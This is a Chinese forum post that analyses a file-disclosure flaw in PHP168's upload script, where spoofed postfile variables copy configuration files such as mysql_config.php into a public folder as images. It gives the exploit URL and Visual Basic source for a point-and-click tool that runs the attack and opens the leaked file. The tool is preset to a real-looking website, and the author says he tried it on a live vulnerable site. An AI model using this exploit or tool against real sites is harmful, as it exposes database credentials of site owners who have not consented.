(这篇文章发到这里不太合适,先凑凑数,以后再删掉) 冰海【LOVEGN】 (I.E.W&S.S.F) 今天在团队QQ群中看到Men_Si发来的PHP168文件源码泄漏工具,但很多朋友都不知道如何利用,而且网上的东西也是东拼西凑,在这里鄙视下不保留完整信息的转载者,让小菜们完全不好分析,也就有了这篇文章,在这里我和小菜们一起来分析下,只有弄明白了漏洞的原因,这样我们才能提高,那么下面我们就一起来分析下漏洞,最后并根据自己的分析写出自己的漏洞利用工具,这样够酷吧, 我们先来分析产生漏洞的源码,漏洞文件是upfile.php,次要代码都已经省略,而且代码都加了我的注释,大家应该都能够看懂, if($postfile) { if( !ereg("^[0-9a-z_/]+$",$dir)||ereg("^/",$dir) ) { $dir="other";} $array[name]=is_array($postfile)?$_FILES[postfile][name]:$postfile_name; //如果postfile是数组,那么$array[name]就是上传得文件名,如果postfile不是数组那么$array[name]就是$postfile_name $array[path]=$webdb[updir]."/". $dir; //最终保存文件的路径 $array[size]=is_array($postfile)?$_FILES[postfile][size]:$postfile_size; $array[updateTable]=1; $filename=upfile(is_array($postfile)?$_FILES[postfile][tmp_name]:$postfile,$array); } 大家看到没有只要$postfile存在,并且不为数组我们就可以为$postfile,$postfile_name,$postfile_size赋值,那么下面我们在接着看看upfile这个函数,看看到底是什么漏洞,代码太长了,省略N多 function upfile($upfile,$array){ global $db,$lfjuid,$pre,$webdb,$groupdb,$lfjdb; $filename=$array[name]; //获得上传文件名,该filename获得的是postfile_name的变量 $FY=strtolower(strrchr(basename($upfile),"."));if($FY&&$FY!='.tmp')die("上传文件有误"); $path=makepath(PHP168_PATH.$array[path]); ………… $size=abs($array[size]); $filetype=strtolower(strrchr($filename,"."));//获得文件的扩展名 ………… $oldname=preg_replace("/(.*)\.([^.]*)/is","\\1",$filename); if(eregi("(.jpg|.png|.gif)$",$filetype)){ //当文件的扩展名为jpg,png,gif时才可以上传 $tempname="{$lfjuid}_".date("YmdHms_",time()).rands(5).$filetype; }else{ $tempname="{$lfjuid}_".date("YmdHms_",time()).base64_encode(urlencode($oldname)).$filetype; } $newfile="$path/$tempname"; if(@move_uploaded_file($upfile,$newfile))//将upfile文件移动到目的地址,其实也就是完成最后的上传文件功能 { @chmod($newfile, 0777); $ck=2; } 而upfile这个变量我们完全可以用postfile来控制,而扩展名的绕过就可以用postfile_name,这样漏洞就产生了,我们就将postfile文件当成图片格式来保存了,在本地直接构造提交页面提交地址为http://www.xxx.com/upfile.php?postfile=php168/mysql_config.php&postfile_name=images/default/logo.gif&postfile_size=222 其中postfile也可以为任意php文件,而且提交成功后有地址返回,然后通过访问该地址就可以看到mysql_config.php的文件内容,很简单吧,竟然原理明白了,那我们就一起来写自己的漏洞利用工具。本想用php写,但由于该上传功能只有登陆用户才可以使用,避免大家抓包拿cookie,那我们还是用最简单的VB来编写自己的可视化工具,这里我只贴出主要代码内容,然后加上分析,以免有占用篇幅之嫌,呵呵:界面的设计大家可以随意啦,这里我们需要三个按钮控件: 1 注册用户, 2 上传文件,出发漏洞 3 访问泄露代码的文件 Private Sub Command1_Click() ‘上传文件,出发漏洞 'ShellExecute hwnd, "open", "http://" + Text2.Text + "/reg.php", vbNullString, vbNullString, vbNormalFocus WebBrowser1.Navigate "http://" + Text2.Text + "/reg.php" End Sub Private Sub Command2_Click() Dim str As String Dim upfilename As String '要查看文件的文件名 Dim poststr As String '提交的字符串 On Error Resume Next upfilename = Text3.Text str = "upfile.php?postfile=" + upfilename + "&postfile_name=images/default/logo.gif&postfile_size=222" poststr = Text2.Text + "/" + str rethtml = Inet1.OpenURL(poststr) '向服务器提交数据,其中ret是服务器的返回信息 If rethtml <> "" Then '分离出上传文件的文件名 Dim lovegn_start lovegn_search = "other/" lovegn_start = InStr(rethtml, lovegn_search) MsgBox lovegn_start lovegn_explode = Len(rethtml) - lovegn_start + 1 lovegn_explode1 = Right(rethtml, lovegn_explode) lovegn_des = Split(lovegn_explode1, ">") If lovegn_des <> "" Then Command3.Enabled = True End If Else MsgBox "服务器没有返回数据" End If End Sub Private Sub Command3_Click() '爆出文件的内容 Dim poststr poststr = Text2.Text + " upload_files/" + lovegn_des WebBrowser1.Navigate poststr Command3.Enabled = False End Sub Private Sub Form_Load() Text2.Text = "http://blog.ibk528.com" Text3.Text = "php168/mysql_config.php" Command3.Enabled = False WebBrowser1.Navigate Text2.Text End Sub 由于时间的关系,代码写的比较简单,当然一个成型的工具可没有这么简单,这里主要目的是提成大家的兴趣,下面是对工具的测试,实践才是检验工具的最好方法,由于这篇文章写的比较晚,估计漏洞都补得不多了,找了一个小时,才找到一个可以利用的网站,大家可以看看效果,我已经注册好了,就不重复注册,直接演示结果: |
|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )
GMT+8, 2024-9-30 03:30 , Processed in 0.126625 second(s), 12 queries , Gzip On, MemCache On.
Powered by Discuz! X3.5
© 2001-2023 Discuz! Team.